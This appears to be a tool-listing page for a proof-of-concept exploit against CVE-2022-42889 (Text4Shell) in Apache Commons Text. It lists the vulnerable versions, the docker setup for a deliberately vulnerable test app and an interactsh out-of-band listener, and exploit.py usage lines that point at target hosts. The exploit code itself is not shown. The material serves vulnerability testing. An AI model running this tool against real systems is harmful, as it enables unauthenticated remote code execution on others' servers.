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text4shell-exploit — CVE-2022-42889 - Text4Shell exploit | Kitploit
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text4shell-exploit

CVE-2022-42889 - Text4Shell exploit

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Text4shell-exploit

This is a Proof of Concept exploiting the vulnerability in Apache Commons Text [CVE-2022-42889]

Vulnerable versions : 1.5.0 to (not including) 1.10.0

Impact

Successful exploitation of this vulnerability allows an unauthenticated attacker to execute arbitrary code on the vulnerable asset

Vulnerable application to verify the PoC

Application developed by @securekomodo, is attached here.

Docker

This application can also be loaded from docker-registry

root@kitploit:~
docker run -p 8080:8080 gokul2/text4shell-poc:latest

The application will be available at localhost:8080 now.

Validation

To verify the arbitrary Command Execution, we use interactsh, a tool to capture OOB interactions by @projectdiscovery.

Setting up Interactsh-client

Set-up interactsh client before executing the actual exploit.

root@kitploit:~
docker run projectdiscovery/interactsh-client:latest

Take a note of the domain listed after starting the application

root@kitploit:~
[INF] Listing 1 payload for OOB Testing
[INF] xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.oast.pro

Usage

root@kitploit:~
python3 exploit.py -u [host] -i [input-file-with-targets] -v [interactsh client domain] -p [proxy(optional)]
python3 exploit.py -u [host] -t [single target path] -v [interactsh client domain] -p [proxy(optional)]

Verification

Check for logs in the interactsh-client to validate the exploit.

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